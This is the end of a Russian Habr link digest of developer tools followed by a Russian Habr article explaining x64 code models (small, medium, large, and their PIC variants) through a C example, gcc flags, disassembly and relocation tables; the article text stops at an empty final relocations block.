* [Justified.js](http://nitinhayaran.github.io/Justified.js/demo/index.html) — «jQuery Plugin to create Justified Image Gallery».
* [learning-angular](https://github.com/zafarali/learning-angular) — набор всех необходимых фрагментов кода для изучения Angular.
* [go-underscore](https://github.com/tobyhede/go-underscore) — набор наиболее востребованных функций для Go.
* [grunt-svgstore](https://github.com/FWeinb/grunt-svgstore) — замечательный плагин для создания .svg спрайтов.
* [DomFlags](http://domflags.com/) — Chrome расширение позволяет создавать шорткаты при работе с DOM.
* [Rainbowstream](https://github.com/DTVD/rainbowstream) — твиттер клиент в вашем терминале
* [Onebody](https://github.com/churchio/onebody) — прозвучит мягко говоря очень странно, но это социальная сеть для церквей на Ruby on Rails.
* На Smashing Magazine рекомендовали электронную книгу для стартаперов по управлению проектами "[Making it right](http://www.smashingmagazine.com/2014/07/24/making-it-right-product-management-for-the-startup-world/)". Больно знакомая символика на обложке…
[**Предыдущая подборка (Выпуск 23)**](http://habrahabr.ru/post/230405/)
Приношу извинения за возможные опечатки. Если вы заметили проблему — напишите пожалуйста в личку.
Спасибо всем за внимание. | https://habr.com/ru/post/231151/ | null | ru | null |
# Разбираемся в моделях кода архитектуры x64
«Какой моделью кода мне воспользоваться?» — часто возникающий, но нечасто разбираемый вопрос при написании кода для архитектуры х64. Тем не менее, это довольно интересная проблема, и для понимания генерируемого компиляторами машинного кода х64 полезно иметь представление о моделях кода. Кроме того, для тех, кто беспокоится о производительности вплоть до мельчайших команд, выбор модели кода влияет и на оптимизацию.
Информация по этой теме в сети, или где бы то ни было еще, встречается редко. Самым важным из доступных ресурсов является официальный х64 ABI, скачать его можно по [ссылке](https://github.com/hjl-tools/x86-psABI/wiki/x86-64-psABI-1.0.pdf) (далее по тексту он будет упоминаться как «ABI»). Часть информации также можно найти на `man`-страницах `gcc`. Задача данной статьи — предоставить доступные рекомендации по теме, обсудить связанные с ней вопросы, а так же хорошими примерами через используемый в работе код продемонстрировать некоторые концепты.
Важное замечание: эта статья не является обучающим материалом для начинающих. Перед ознакомлением рекомендуется уверенное владение C и ассемблером, а так же базовое знакомство с архитектурой х64.
---
*Также смотрите нашу предыдущую публикацию на схожую тему: **[Как x86\_x64 адресует память](https://habr.com/ru/company/dcmiran/blog/507720/)***
---
Модели кода. Мотивационная часть
--------------------------------
В архитектуре х64 отсылки и на код, и на данные ведутся через командно-относительные (или, используя жаргон х64, RIP-относительные) модели адресации. В этих командах сдвиг от RIP ограничен 32 битами, однако могут возникнуть случаи, когда команде при попытке адресовать часть памяти или данных попросту не хватит сдвига в 32 бит, например при работе с программами больше двух гигабайт.
Один из способов решения этой проблемы — полный отказ от RIP-относительного режима адресации в пользу полного 64-битного сдвига для всех ссылок на данные и код. Однако, этот шаг обойдется очень дорого: для покрытия (довольно редкого) случая невероятно больших программ и библиотек, даже простейшие операции в рамках *вообще всего кода* потребуют большего чем обычно числа команд.
Таким образом, компромиссом становятся модели кода. [1] Модель кода это формальное соглашение между программистом и компилятором, в котором программист указывает свои намерения относительно размера ожидаемой программы (или программ), в которую попадет компилируемый в данный момент объектный модуль. [2] Модели кода нужны для того чтобы программист мог сказать компилятору: «не волнуйся, этот объектный модуль пойдет только в небольшие программы, так что можно пользоваться быстрыми RIP-относительными режимами адресации». С другой стороны, он может сказать компилятору следующее: «мы собираемся компоновать этот модуль в большие программы, так что пожалуйста используй неторопливые и безопасные абсолютные режимы адресации с полным 64-битным сдвигом».
О чем расскажет эта статья
--------------------------
Мы поговорим о двух описанных выше сценариях, малой модели кода и большой модели кода: первая модель говорит компилятору, что 32-битного относительного сдвига должно хватить для всех ссылок на код и данные в объектном модуле; вторая настаивает на использовании компилятором абсолютных 64-битных режимов адресации. Кроме того, существует еще и промежуточный вариант, так называемая *средняя модель кода*.
Каждая из этих моделей кода представлена в независящих друг от друга PIC и не-PIC вариациях, и мы поговорим про каждую из шести.
Исходный пример на С
--------------------
Для демонстрации обсуждаемых в этой статье концептов я воспользуюсь представленной ниже программой на С и скомпилирую ее с различными моделями кода. Как можно видеть, функция `main` получает доступ к четырем разным глобальным массивам и одной глобальной функции. Массивы отличаются двумя параметрами: размером и видимостью. Размер важен для объяснения средней модели кода и не понадобится в работе с малой и большой моделями. Видимость важна для работы PIC-моделей кода и бывает либо статичной (видимость только в исходном файле), либо глобальной (видимость всем скомпонованным в программу объектам).
```
int global_arr[100] = {2, 3};
static int static_arr[100] = {9, 7};
int global_arr_big[50000] = {5, 6};
static int static_arr_big[50000] = {10, 20};
int global_func(int param)
{
return param * 10;
}
int main(int argc, const char* argv[])
{
int t = global_func(argc);
t += global_arr[7];
t += static_arr[7];
t += global_arr_big[7];
t += static_arr_big[7];
return t;
}
```
`gcc` использует модель кода как значение опции `-mcmodel`. Кроме того, флагом `-fpic` можно задать PIC компиляцию.
Пример компиляции в объектный модуль через большую модель кода с использованием PIC:
```
> gcc -g -O0 -c codemodel1.c -fpic -mcmodel=large -o codemodel1_large_pic.o
```
Малая модель кода
-----------------
Перевод цитаты из man gcc на тему малой модели кода:
> **-mcmodel=small**
>
> Генерация кода для малой модели: программа и ее символы должны быть скомпонованы в нижних двух гигабайтах адресного пространства. Размер указателей — 64 бит. Программы могут быть скомпонованы и статически, и динамически. Это основная модель кода.
Другими словами, компилятор может спокойно считать, что код и данные доступны через 32-битный RIP-относительный сдвиг из любой команды в коде. Давайте взглянем на дизассемблированный пример программы на С, которую мы скомпилировали через не-PIC малую модель кода:
```
> objdump -dS codemodel1_small.o
[...]
int main(int argc, const char* argv[])
{
15: 55 push %rbp
16: 48 89 e5 mov %rsp,%rbp
19: 48 83 ec 20 sub $0x20,%rsp
1d: 89 7d ec mov %edi,-0x14(%rbp)
20: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int t = global_func(argc);
24: 8b 45 ec mov -0x14(%rbp),%eax
27: 89 c7 mov %eax,%edi
29: b8 00 00 00 00 mov $0x0,%eax
2e: e8 00 00 00 00 callq 33
33: 89 45 fc mov %eax,-0x4(%rbp)
t += global\_arr[7];
36: 8b 05 00 00 00 00 mov 0x0(%rip),%eax
3c: 01 45 fc add %eax,-0x4(%rbp)
t += static\_arr[7];
3f: 8b 05 00 00 00 00 mov 0x0(%rip),%eax
45: 01 45 fc add %eax,-0x4(%rbp)
t += global\_arr\_big[7];
48: 8b 05 00 00 00 00 mov 0x0(%rip),%eax
4e: 01 45 fc add %eax,-0x4(%rbp)
t += static\_arr\_big[7];
51: 8b 05 00 00 00 00 mov 0x0(%rip),%eax
57: 01 45 fc add %eax,-0x4(%rbp)
return t;
5a: 8b 45 fc mov -0x4(%rbp),%eax
}
5d: c9 leaveq
5e: c3 retq
```
Как можно видеть, доступ ко всем массивам организован одинаково — с использованием RIP-относительного сдвига. Однако в коде сдвиг равен 0, поскольку компилятор не знает, где будет размещен сегмент данных, поэтому для каждого такого доступа он создает релокацию:
```
> readelf -r codemodel1_small.o
Relocation section '.rela.text' at offset 0x62bd8 contains 5 entries:
Offset Info Type Sym. Value Sym. Name + Addend
00000000002f 001500000002 R_X86_64_PC32 0000000000000000 global_func - 4
000000000038 001100000002 R_X86_64_PC32 0000000000000000 global_arr + 18
000000000041 000300000002 R_X86_64_PC32 0000000000000000 .data + 1b8
00000000004a 001200000002 R_X86_64_PC32 0000000000000340 global_arr_big + 18
000000000053 000300000002 R_X86_64_PC32 0000000000000000 .data + 31098
```
Давайте в качестве примера полностью декодируем доступ к `global_arr`. Интересующий нас дизассемблированный сегмент:
```
t += global_arr[7];
36: 8b 05 00 00 00 00 mov 0x0(%rip),%eax
3c: 01 45 fc add %eax,-0x4(%rbp)
```
RIP-относительная адресация относительна очередной команде, таким образом сдвиг необходимо запатчить в команду `mov` таким образом, чтобы он соответствовал 0х3с. Нас интересует вторая релокация, `R_X86_64_PC32`, она указывает на операнд `mov` по адресу `0x38` и означает следующее: берем значение символа, добавляем слагаемое и вычитаем указываемый релокацией сдвиг. Если вы все корректно посчитали, вы увидите как результат разместит относительный сдвиг между очередной командой и `global_arr`, плюс `0х1с`. Поскольку `0х1с` означает «седьмой int в массиве» (в архитектуре х64 размер каждого `int` составляет 4 байта), то этот относительный сдвиг нам и нужен. Таким образом, используя RIP-относительную адресацию, команда корректно ссылается на `global_arr[7]`.
Также интересно отметить следующее: пусть команды доступа к `static_arr` здесь и схожи, его переадресация использует другой символ, тем самым вместо конкретного символа указывая в секцию `.data`. Виной тому действия компоновщика, он размещает статический массив в известном месте секции, и таким образом массив нельзя использовать совместно с другими общими библиотеками. В итоге компоновщик урегулирует ситуацию с этой релокацией. С другой стороны, поскольку `global_arr` может быть использован (или перезаписан) другой общей библиотекой, уже динамический загрузчик должен будет разобраться со ссылкой к `global_arr`. [3]
Наконец, давайте взглянем на отсылку к `global_func`:
```
int t = global_func(argc);
24: 8b 45 ec mov -0x14(%rbp),%eax
27: 89 c7 mov %eax,%edi
29: b8 00 00 00 00 mov $0x0,%eax
2e: e8 00 00 00 00 callq 33
33: 89 45 fc mov %eax,-0x4(%rbp)
```
Поскольку операнд `callq` тоже RIP-относителен, релокация `R_X86_64_PC32` работает здесь аналогично размещению фактического относительного сдвига к global\_func в операнд.
В заключение отметим, что благодаря малой модели кода компилятор воспринимает все данные и код будущей программы как доступные через 32-битный сдвиг, и тем самым для доступа к всевозможным объектам создает простой и эффективный код.
Большая модель кода
-------------------
Перевод цитаты из `man` `gcc` на тему большой модели кода:
> **-mcmodel=large**
>
> Генерация кода для большой модели: Эта модель не делает предположений относительно адресов и размеров секций.
Пример дизассемблированного кода `main`, скомпилированного при помощи не-PIC большой модели:
```
int main(int argc, const char* argv[])
{
15: 55 push %rbp
16: 48 89 e5 mov %rsp,%rbp
19: 48 83 ec 20 sub $0x20,%rsp
1d: 89 7d ec mov %edi,-0x14(%rbp)
20: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int t = global_func(argc);
24: 8b 45 ec mov -0x14(%rbp),%eax
27: 89 c7 mov %eax,%edi
29: b8 00 00 00 00 mov $0x0,%eax
2e: 48 ba 00 00 00 00 00 movabs $0x0,%rdx
35: 00 00 00
38: ff d2 callq *%rdx
3a: 89 45 fc mov %eax,-0x4(%rbp)
t += global_arr[7];
3d: 48 b8 00 00 00 00 00 movabs $0x0,%rax
44: 00 00 00
47: 8b 40 1c mov 0x1c(%rax),%eax
4a: 01 45 fc add %eax,-0x4(%rbp)
t += static_arr[7];
4d: 48 b8 00 00 00 00 00 movabs $0x0,%rax
54: 00 00 00
57: 8b 40 1c mov 0x1c(%rax),%eax
5a: 01 45 fc add %eax,-0x4(%rbp)
t += global_arr_big[7];
5d: 48 b8 00 00 00 00 00 movabs $0x0,%rax
64: 00 00 00
67: 8b 40 1c mov 0x1c(%rax),%eax
6a: 01 45 fc add %eax,-0x4(%rbp)
t += static_arr_big[7];
6d: 48 b8 00 00 00 00 00 movabs $0x0,%rax
74: 00 00 00
77: 8b 40 1c mov 0x1c(%rax),%eax
7a: 01 45 fc add %eax,-0x4(%rbp)
return t;
7d: 8b 45 fc mov -0x4(%rbp),%eax
}
80: c9 leaveq
81: c3 retq
```
И вновь полезно взглянуть на релокации:
```
Relocation section '.rela.text' at offset 0x62c18 contains 5 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000000030 001500000001 R_X86_64_64 0000000000000000 global_func + 0
00000000003f 001100000001 R_X86_64_64 0000000000000000 global_arr + 0
00000000004f 000300000001 R_X86_64_64 0000000000000000 .data + 1a0
00000000005f 001200000001 R_X86_64_64 0000000000000340 global_arr_big + 0
00000000006f 000300000001 R_X86_64_64 0000000000000000 .data + 31080
```
Поскольку нет необходимости делать предположения относительно размеров секций кода и данных, большая модель кода довольно унифицирована и одинаковым образом определяет доступ ко всем данным. Давайте вновь взглянем на `global_arr`:
```
t += global_arr[7];
3d: 48 b8 00 00 00 00 00 movabs $0x0,%rax
44: 00 00 00
47: 8b 40 1c mov 0x1c(%rax),%eax
4a: 01 45 fc add %eax,-0x4(%rbp)
```
Двум командам необходимо получить желаемое значение из массива. Первая команда размещает абсолютный 64-битный адрес в `rax`, который, как мы скоро увидим, окажется адресом `global_arr`, тогда как вторая команда загружает слово из `(rax) + 0х1с` в `eax`.
Так что давайте сфокусируемся на команде по адресу `0x3d`, `movabs`, абсолютной 64-битной версии `mov` в архитектуре х64. Она может забросить полную 64-битную константу прямо в регистр, и так как в нашем дизассемблированном коде значение этой константы равно нулю, за ответом нам придется обратиться к таблице релокаций. В ней мы найдем абсолютную релокацию `R_X86_64_64` для операнда по адресу `0x3f`, со следующим значением: размещение значения символа плюс слагаемого обратно в сдвиг. Другими словами, `rax` будет содержать абсолютный адрес `global_arr`.
А что насчет функции вызова?
```
int t = global_func(argc);
24: 8b 45 ec mov -0x14(%rbp),%eax
27: 89 c7 mov %eax,%edi
29: b8 00 00 00 00 mov $0x0,%eax
2e: 48 ba 00 00 00 00 00 movabs $0x0,%rdx
35: 00 00 00
38: ff d2 callq *%rdx
3a: 89 45 fc mov %eax,-0x4(%rbp)
```
За уже знакомым нам `movabs` следует команда `call`, которая вызывает функцию по адресу в `rdx`. Достаточно взглянуть на соответствующую релокацию чтобы понять насколько она похожа на доступ к данным.
Как можно видеть, в большой модели кода нет каких-либо предположений о размере секций кода и данных, равно как и о финальном расположении символов, она попросту ссылается на символы через абсолютные 64-битные шаги, своего рода «безопасную дорожку». Однако обратите внимание как, по сравнению с малой моделью кода, большая модель вынуждена использовать дополнительную команду при обращении к каждому символу. Таковая цена безопасности.
Итак, мы с вами познакомились с двумя полностью противоположными моделями: в то время как малая модель кода предполагает, что все вмещается в нижние два гигабайта памяти, большая модель предполагает, что нет ничего невозможного и любой символ может находиться где угодно во всей полноте 64-битного адресного пространства. Компромиссом между этими двумя моделями становится средняя модель кода.
Средняя модель кода
-------------------
Как и ранее, давайте взглянем на перевод цитаты из `man` `gcc`:
> **-mcmodel=medium**
>
> Генерация кода для средней модели: Программа скомпонована в нижних двух гигабайтах адресного пространства. Здесь же расположены и малые символы. Символы размера большего, чем задано через -mlarge-data-threshold, попадают в больше данные или секции bss и могут находиться выше двух гигабайт. Программы могут быть скомпонованы и статически, и динамически.
Аналогично малой модели кода, средняя модель предполагает что весь код скомпонован в двух нижних гигабайтах. Тем не менее, данные разделены на предполагаемо скомпонованные в нижних двух гигабайтах «малые данные» и неограниченные по размещению в памяти «большие данные». Данные попадают в категорию больших при превышении ими предела, по определению равного 64 килобайтам.
Также важно отметить, что при работе со средней моделью кода для больших данных по аналогии с секциями `.data` и `.bss` создаются специальные секции: `.ldata` и `.lbss`. Это не так важно в призме темы текущей статьи, однако я собираюсь немного от нее отклониться. Детальнее с данным вопросом можно ознакомиться в ABI.
Теперь становится понятно, почему в примере появились те массивы `_big`: они нужны средней модели для интерпретации «больших данных», которыми они, при размере в 200 килобайт каждый, и являются. Ниже можно ознакомиться с результатом дизассемблирования:
```
int main(int argc, const char* argv[])
{
15: 55 push %rbp
16: 48 89 e5 mov %rsp,%rbp
19: 48 83 ec 20 sub $0x20,%rsp
1d: 89 7d ec mov %edi,-0x14(%rbp)
20: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int t = global_func(argc);
24: 8b 45 ec mov -0x14(%rbp),%eax
27: 89 c7 mov %eax,%edi
29: b8 00 00 00 00 mov $0x0,%eax
2e: e8 00 00 00 00 callq 33
33: 89 45 fc mov %eax,-0x4(%rbp)
t += global\_arr[7];
36: 8b 05 00 00 00 00 mov 0x0(%rip),%eax
3c: 01 45 fc add %eax,-0x4(%rbp)
t += static\_arr[7];
3f: 8b 05 00 00 00 00 mov 0x0(%rip),%eax
45: 01 45 fc add %eax,-0x4(%rbp)
t += global\_arr\_big[7];
48: 48 b8 00 00 00 00 00 movabs $0x0,%rax
4f: 00 00 00
52: 8b 40 1c mov 0x1c(%rax),%eax
55: 01 45 fc add %eax,-0x4(%rbp)
t += static\_arr\_big[7];
58: 48 b8 00 00 00 00 00 movabs $0x0,%rax
5f: 00 00 00
62: 8b 40 1c mov 0x1c(%rax),%eax
65: 01 45 fc add %eax,-0x4(%rbp)
return t;
68: 8b 45 fc mov -0x4(%rbp),%eax
}
6b: c9 leaveq
6c: c3 retq
```
Обратите внимание на то, как ведется доступ к массивам: обращение к массивам `_big` идет через методы большой модели кода, тогда как обращение к остальным массивам идет через методы малой модели. Обращение к функции тоже ведется по методу малой модели кода, а релокации настолько аналогичны предыдущим примерам, что я даже не буду их демонстрировать.
Средняя модель кода это умелый компромисс между большой и малой моделями. Навряд ли код программы окажется слишком велик [4], так что подвинуть его сверх лимита в два гигабайта могут разве что статически скомпонованные в него большие куски данных, возможно как часть некоего объемного табличного поиска. Так как средняя модель кода отсеивает такие объемные куски данных и особым образом их обрабатывает, то вызовы кодом функций и малых символов будут так же эффективны, как и в малой модели кода. Только обращения к большим символам, по аналогии с большой моделью, потребуют от кода воспользоваться полным 64-битным методом большой модели.
Малая PIC-модель кода
---------------------
Теперь давайте посмотрим на PIC варианты моделей кода, и как и раньше мы начнем с малой модели. [5] Ниже можно видеть пример кода, скомпилированного через малую PIC-модель:
```
int main(int argc, const char* argv[])
{
15: 55 push %rbp
16: 48 89 e5 mov %rsp,%rbp
19: 48 83 ec 20 sub $0x20,%rsp
1d: 89 7d ec mov %edi,-0x14(%rbp)
20: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int t = global_func(argc);
24: 8b 45 ec mov -0x14(%rbp),%eax
27: 89 c7 mov %eax,%edi
29: b8 00 00 00 00 mov $0x0,%eax
2e: e8 00 00 00 00 callq 33
33: 89 45 fc mov %eax,-0x4(%rbp)
t += global\_arr[7];
36: 48 8b 05 00 00 00 00 mov 0x0(%rip),%rax
3d: 8b 40 1c mov 0x1c(%rax),%eax
40: 01 45 fc add %eax,-0x4(%rbp)
t += static\_arr[7];
43: 8b 05 00 00 00 00 mov 0x0(%rip),%eax
49: 01 45 fc add %eax,-0x4(%rbp)
t += global\_arr\_big[7];
4c: 48 8b 05 00 00 00 00 mov 0x0(%rip),%rax
53: 8b 40 1c mov 0x1c(%rax),%eax
56: 01 45 fc add %eax,-0x4(%rbp)
t += static\_arr\_big[7];
59: 8b 05 00 00 00 00 mov 0x0(%rip),%eax
5f: 01 45 fc add %eax,-0x4(%rbp)
return t;
62: 8b 45 fc mov -0x4(%rbp),%eax
}
65: c9 leaveq
66: c3 retq
```
Релокации:
```
Relocation section '.rela.text' at offset 0x62ce8 contains 5 entries:
Offset Info Type Sym. Value Sym. Name + Addend
00000000002f 001600000004 R_X86_64_PLT32 0000000000000000 global_func - 4
000000000039 001100000009 R_X86_64_GOTPCREL 0000000000000000 global_arr - 4
000000000045 000300000002 R_X86_64_PC32 0000000000000000 .data + 1b8
00000000004f 001200000009 R_X86_64_GOTPCREL 0000000000000340 global_arr_big - 4
00000000005b 000300000002 R_X86_64_PC32 0000000000000000 .data + 31098
```
Поскольку в малой модели кода различия между большими и малыми данными не играют никакой роли, мы сфокусируемся на важных при генерации кода через PIC моментах: различиях между локальными (статичными) и глобальными символами.
Как можно заметить, нет никакой разницы между сгенерированным для статичных массивов кодом и кодом в не-PIC случае. Это один из плюсов архитектуры x64: благодаря IP-относительному доступу к данным, мы бонусом получаем PIC, по крайней мере до тех пор пока не требуется внешний доступ к символам. Все команды и релокации остаются теми же, так что обрабатывать их лишний раз не нужно.
Интересно обратить внимание на глобальные массивы: стоит напомнить, что в PIC глобальные данные должны проходить через GOT, поскольку в какой-то момент их могут хранить, или пользоваться ими, общие библиотеки [6]. Ниже можно видеть код для доступа к `global_arr`:
```
t += global_arr[7];
36: 48 8b 05 00 00 00 00 mov 0x0(%rip),%rax
3d: 8b 40 1c mov 0x1c(%rax),%eax
40: 01 45 fc add %eax,-0x4(%rbp)
```
Интересующая нас релокация это `R_X86_64_GOTPCREL`: позиция входа символа в GOT плюс слагаемое, минус сдвиг за применение релокации. Другими словами, в команду патчится относительный сдвиг между RIP (следующей инструкции) и зарезервированного для `global_arr` в GOT слота. Таким образом, в `rax` в команду по адресу `0x36` размещается фактический адрес `global_arr`. Следом за этим шагом идет сброс ссылки на адрес `global_arr` плюс сдвиг на его седьмой элемент в `eax`.
Теперь давайте взглянем на вызов функции:
```
int t = global_func(argc);
24: 8b 45 ec mov -0x14(%rbp),%eax
27: 89 c7 mov %eax,%edi
29: b8 00 00 00 00 mov $0x0,%eax
2e: e8 00 00 00 00 callq 33
33: 89 45 fc mov %eax,-0x4(%rbp)
```
В ней есть релокация операнда `callq` по адресу `0x2e`, `R_X86_64_PLT32`: адрес PLT входа для символа плюс слагаемое, минус сдвиг за применение релокации. Другими словами, `callq` должен корректно вызывать PLT трамплин для `global_func`.
Обратите внимание, какие неявные предположения совершает компилятор: что к GOT и PLT можно получить доступ через RIP-относительную адресацию. Это будет важно при сравнении этой модели с другими PIC-вариантами моделей кода.
Большая PIC-модель кода
-----------------------
Дизассемблирование:
```
int main(int argc, const char* argv[])
{
15: 55 push %rbp
16: 48 89 e5 mov %rsp,%rbp
19: 53 push %rbx
1a: 48 83 ec 28 sub $0x28,%rsp
1e: 48 8d 1d f9 ff ff ff lea -0x7(%rip),%rbx
25: 49 bb 00 00 00 00 00 movabs $0x0,%r11
2c: 00 00 00
2f: 4c 01 db add %r11,%rbx
32: 89 7d dc mov %edi,-0x24(%rbp)
35: 48 89 75 d0 mov %rsi,-0x30(%rbp)
int t = global_func(argc);
39: 8b 45 dc mov -0x24(%rbp),%eax
3c: 89 c7 mov %eax,%edi
3e: b8 00 00 00 00 mov $0x0,%eax
43: 48 ba 00 00 00 00 00 movabs $0x0,%rdx
4a: 00 00 00
4d: 48 01 da add %rbx,%rdx
50: ff d2 callq *%rdx
52: 89 45 ec mov %eax,-0x14(%rbp)
t += global_arr[7];
55: 48 b8 00 00 00 00 00 movabs $0x0,%rax
5c: 00 00 00
5f: 48 8b 04 03 mov (%rbx,%rax,1),%rax
63: 8b 40 1c mov 0x1c(%rax),%eax
66: 01 45 ec add %eax,-0x14(%rbp)
t += static_arr[7];
69: 48 b8 00 00 00 00 00 movabs $0x0,%rax
70: 00 00 00
73: 8b 44 03 1c mov 0x1c(%rbx,%rax,1),%eax
77: 01 45 ec add %eax,-0x14(%rbp)
t += global_arr_big[7];
7a: 48 b8 00 00 00 00 00 movabs $0x0,%rax
81: 00 00 00
84: 48 8b 04 03 mov (%rbx,%rax,1),%rax
88: 8b 40 1c mov 0x1c(%rax),%eax
8b: 01 45 ec add %eax,-0x14(%rbp)
t += static_arr_big[7];
8e: 48 b8 00 00 00 00 00 movabs $0x0,%rax
95: 00 00 00
98: 8b 44 03 1c mov 0x1c(%rbx,%rax,1),%eax
9c: 01 45 ec add %eax,-0x14(%rbp)
return t;
9f: 8b 45 ec mov -0x14(%rbp),%eax
}
a2: 48 83 c4 28 add $0x28,%rsp
a6: 5b pop %rbx
a7: c9 leaveq
a8: c3 retq
```
Релокации:
`Relocation section '.rela.text' at offset 0x62c70 contains 6 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000000027 00150000001d R_X86_64_GOTPC64 0000000000000000 _GLOBAL_OFFSET_TABLE_ + 9
000000000045 00160000001f R_X86_64_PLTOFF64 0000000000000000 global_func + 0
000000000057 00110000001b R_X86_64_GOT64 0000000000000000 global_arr + 0
00000000006b 000800000019 R_X86_64_GOTOFF64 00000000000001a0 static_arr + 0
00000000007c 00120000001b R_X86_64_GOT64 0000000000000340 global_arr_big + 0
000000000090 000900000019 R_X86_64_GOTOFF64 0000000000031080 static_arr_big + 0`
В этот раз различия между большими и малыми данными все еще не имеют значения, поэтому мы сфокусируемся на `static_arr` и `global_arr`. Но прежде необходимо обратить внимание в этом коде на пролог, ранее мы не сталкивались с подобным:
```
1e: 48 8d 1d f9 ff ff ff lea -0x7(%rip),%rbx
25: 49 bb 00 00 00 00 00 movabs $0x0,%r11
2c: 00 00 00
2f: 4c 01 db add %r11,%rbx
```
Ниже можно прочесть перевод связанной с этим цитаты из ABI:
> В малой модели кода ко всем адресам (включая GOT) можно получить доступ через предоставленную архитектурой AMD64 IP-относительную адресацию. Именно поэтому нет нужды в явном указателе GOT и таким образом нет нужды в устанавливающем его прологе в функции. В большой и средней моделях кода необходимо определить регистр для хранения адреса GOT в независимых от расположения объектах, поскольку AMD64 ISA не поддерживает мгновенное перемещение размером больше чем 32 бит.
Давайте посмотрим на то, как описанный выше пролог вычисляет адрес GOT. Во-первых, команда по адресу `0x1e` загружает свой собственный адрес в `rbx`. Затем совместно с релокацией `R_X86_64_GOTPC64` совершается абсолютный 64-битный шаг в `r11`. Эта релокация означает следующее: берем адрес GOT, вычитаем перемещаемый сдвиг и добавляем слагаемое. Наконец, команда по адресу `0x2f` складывает оба результата вместе. Итогом становится абсолютный адрес GOT в `rbx`. [7]
Зачем же мучиться с вычислением адреса GOT? Во-первых, как отмечено в цитате, в большой модели кода мы не можем предполагать, что 32-битного RIP-относительного сдвига будет достаточно для адресации GOT, из-за чего нам и требуется полный 64-битный адрес. Во-вторых, мы все еще хотим работать с PIC-вариацией, так что мы не можем попросту поместить абсолютный адрес в регистр. Скорее сам адрес должен быть вычислен относительно RIP. Для этого и нужен пролог: он совершает 64-битное RIP-относительное вычисление.
В любом случае, раз у нас в `rbx` теперь есть адрес GOT, давайте посмотрим на то как получить доступ к `static_arr`:
```
t += static_arr[7];
69: 48 b8 00 00 00 00 00 movabs $0x0,%rax
70: 00 00 00
73: 8b 44 03 1c mov 0x1c(%rbx,%rax,1),%eax
77: 01 45 ec add %eax,-0x14(%rbp)
```
Релокация первой команды это `R_X86_64_GOTOFF64`: символ плюс слагаемое минус GOT. В нашем случае это относительный сдвиг между адресом `static_arr` и адресом GOT. Следующая инструкция добавляет результат в `rbx` (абсолютный адрес GOT) и сбрасывает ссылку со сдвигом по `0x1c`. Для простоты визуализации такого вычисления ниже можно ознакомиться с псевдо-C примером:
```
// char* static_arr
// char* GOT
rax = static_arr + 0 - GOT; // rax now contains an offset
eax = *(rbx + rax + 0x1c); // rbx == GOT, so eax now contains
// *(GOT + static_arr - GOT + 0x1c) or
// *(static_arr + 0x1c)
```
Обратите внимание на интересный момент: адрес GOT используется как привязка к `static_arr`. Обычно GOT не содержит в себе адрес символа, и так как `static_arr` не является внешним символом, нет причин хранить его внутри GOT. Тем не менее, в данном случае GOT используется как привязка к относительной адресу символа секции данных. Этот адрес, который кроме всего прочего не зависит от расположения, можно найти полным 64-битным сдвигом. Компоновщик в состоянии урегулировать эту релокацию, так что модифицировать секцию кода во время загрузки нет необходимости.
Но что насчет `global_arr`?
```
t += global_arr[7];
55: 48 b8 00 00 00 00 00 movabs $0x0,%rax
5c: 00 00 00
5f: 48 8b 04 03 mov (%rbx,%rax,1),%rax
63: 8b 40 1c mov 0x1c(%rax),%eax
66: 01 45 ec add %eax,-0x14(%rbp)
```
Этот код несколько длиннее, а релокация отличается от обычной. По сути, GOT используется здесь более традиционным образом: релокация `R_X86_64_GOT64` для `movabs` лишь говорит функции разместить сдвиг в GOT, там где в `rax` расположен адрес `global_arr`. Команда по адресу `0x5f` берет адрес `global_arr` из GOT и помещает его в `rax`. Следующая команда сбрасывает ссылку на `global_arr[7]` и помещает значение в `eax`.
Теперь давайте взглянем на ссылку кода для `global_func`. Вспомним что в большой модели кода мы не могли делать предположений относительно размера секций кода, так что нам следует полагать что даже для доступа к PLT нам потребуется абсолютный 64-битный адрес:
```
int t = global_func(argc);
39: 8b 45 dc mov -0x24(%rbp),%eax
3c: 89 c7 mov %eax,%edi
3e: b8 00 00 00 00 mov $0x0,%eax
43: 48 ba 00 00 00 00 00 movabs $0x0,%rdx
4a: 00 00 00
4d: 48 01 da add %rbx,%rdx
50: ff d2 callq *%rdx
52: 89 45 ec mov %eax,-0x14(%rbp)
```
Интересующая нас релокация это `R_X86_64_PLTOFF64`: адрес PLT входа для `global_func` минус адрес GOT. Результат размещается в `rdx`, куда затем помещается `rbx` (абсолютный адрес GOT). В итоге мы получаем адрес PLT входа для `global_func` в `rdx`.
Обратите внимание что вновь GOT используется как привязка, на этот раз для обеспечения независящей от адреса отсылки к сдвигу PLT входа.
Средняя PIC-модель кода
-----------------------
Наконец, мы разберем сгенерированный для средней PIC-модели код:
```
int main(int argc, const char* argv[])
{
15: 55 push %rbp
16: 48 89 e5 mov %rsp,%rbp
19: 53 push %rbx
1a: 48 83 ec 28 sub $0x28,%rsp
1e: 48 8d 1d 00 00 00 00 lea 0x0(%rip),%rbx
25: 89 7d dc mov %edi,-0x24(%rbp)
28: 48 89 75 d0 mov %rsi,-0x30(%rbp)
int t = global_func(argc);
2c: 8b 45 dc mov -0x24(%rbp),%eax
2f: 89 c7 mov %eax,%edi
31: b8 00 00 00 00 mov $0x0,%eax
36: e8 00 00 00 00 callq 3b
3b: 89 45 ec mov %eax,-0x14(%rbp)
t += global\_arr[7];
3e: 48 8b 05 00 00 00 00 mov 0x0(%rip),%rax
45: 8b 40 1c mov 0x1c(%rax),%eax
48: 01 45 ec add %eax,-0x14(%rbp)
t += static\_arr[7];
4b: 8b 05 00 00 00 00 mov 0x0(%rip),%eax
51: 01 45 ec add %eax,-0x14(%rbp)
t += global\_arr\_big[7];
54: 48 8b 05 00 00 00 00 mov 0x0(%rip),%rax
5b: 8b 40 1c mov 0x1c(%rax),%eax
5e: 01 45 ec add %eax,-0x14(%rbp)
t += static\_arr\_big[7];
61: 48 b8 00 00 00 00 00 movabs $0x0,%rax
68: 00 00 00
6b: 8b 44 03 1c mov 0x1c(%rbx,%rax,1),%eax
6f: 01 45 ec add %eax,-0x14(%rbp)
return t;
72: 8b 45 ec mov -0x14(%rbp),%eax
}
75: 48 83 c4 28 add $0x28,%rsp
79: 5b pop %rbx
7a: c9 leaveq
7b: c3 retq
```
Релокации:
```
